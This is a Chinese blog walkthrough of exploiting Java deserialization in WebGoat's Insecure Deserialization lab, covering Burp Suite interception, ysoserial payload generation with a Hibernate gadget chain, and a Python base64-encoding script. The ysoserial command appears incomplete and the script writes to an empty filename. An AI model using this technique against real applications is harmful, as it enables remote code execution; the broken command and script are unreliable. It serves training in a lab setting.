(渗透学习)ysoserial⼯具使⽤--java反序列化漏洞利⽤靶场webgoat---Insecure Deserializetion---5
分析漏洞:
题⽬给的数据是rO0AB开头,所以是经过了base64加密的java序列化对象。
解码后是⼀段英⽂,百度翻译也没发现有啥⽤处:
题⽬还给出了⼀个接收序列化数据的表单,先分析⼀波:
⽤burpsuite抓包:
可以看到,表单提交的数据通过token接收,并发送到/InsecureDeserialization/task这个页⾯,可以通
过/InsecureDeserialization/task出对应的源码
所以,页⾯接收的token是⼀段经过base64编码的序列化数据
利⽤漏洞:----ysoserial⼯具
到了传输序列化数据的接⼝,接下来就需要构造payload了
⾸先肯定是查已知漏洞的利⽤,对于分析代码去构造payload,没技术不说,也没时间去搞,最简单最直接就是披露过的java插件漏洞。
运⾏ysoserial⼯具
java -jar ysoserial.jar
按照ysoserial⽀持的插件,查webgoat是否安装了对应的jar包,这⾥只有两个:
Hibernate和spring-core 但是spring-core的版本不⼀致,所以就选择Hibernate
将Hibernate的jar包复制到ysoserial⼯具的⽬录下,jar包名字中必须是有core的,是插件的核⼼
我这⾥是hibernate-core-5.4.6.Final.jar这个包,利⽤ysoserial⽣成payload,执⾏以下命令
java -Dhibernate5 -cp hibernate-core-5.4.6.Final.jar;ysoserial.jar ysoserial.GeneratePayload > token.bin
java -Dhibernate5 -cp hibernate-core-5.4.6.Final.jar; //表⽰hibernate5的插件
ysoserial.jar ysoserial.GeneratePayload > token.bin //⽣成Hibernate1插件反序列化漏洞的payload,执⾏命令,将payload保存在token.bin⽂件中
payload⽣成了,但是表单接收的是经过base64编码的:采⽤python写的简单脚本对payloadbase64编码
1import base64
2
3filename = input("输⼊需要base64编码的⽂件名:")
4s = open(filename, "rb").read() #⽂本默认模式读取⽂件内容rt
5base64_str = base64.urlsafe_b64encode(s)
6#⽂本默认模式写⼊⽂件内容wt
7open("", "wt",encoding="utf-8").write(base64_str.decode())
将编码的字符串提交:
java源代码加密
成功执⾏命令,题⽬说要延时5s,也不知道是cmd还是web页⾯的,搞不懂
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论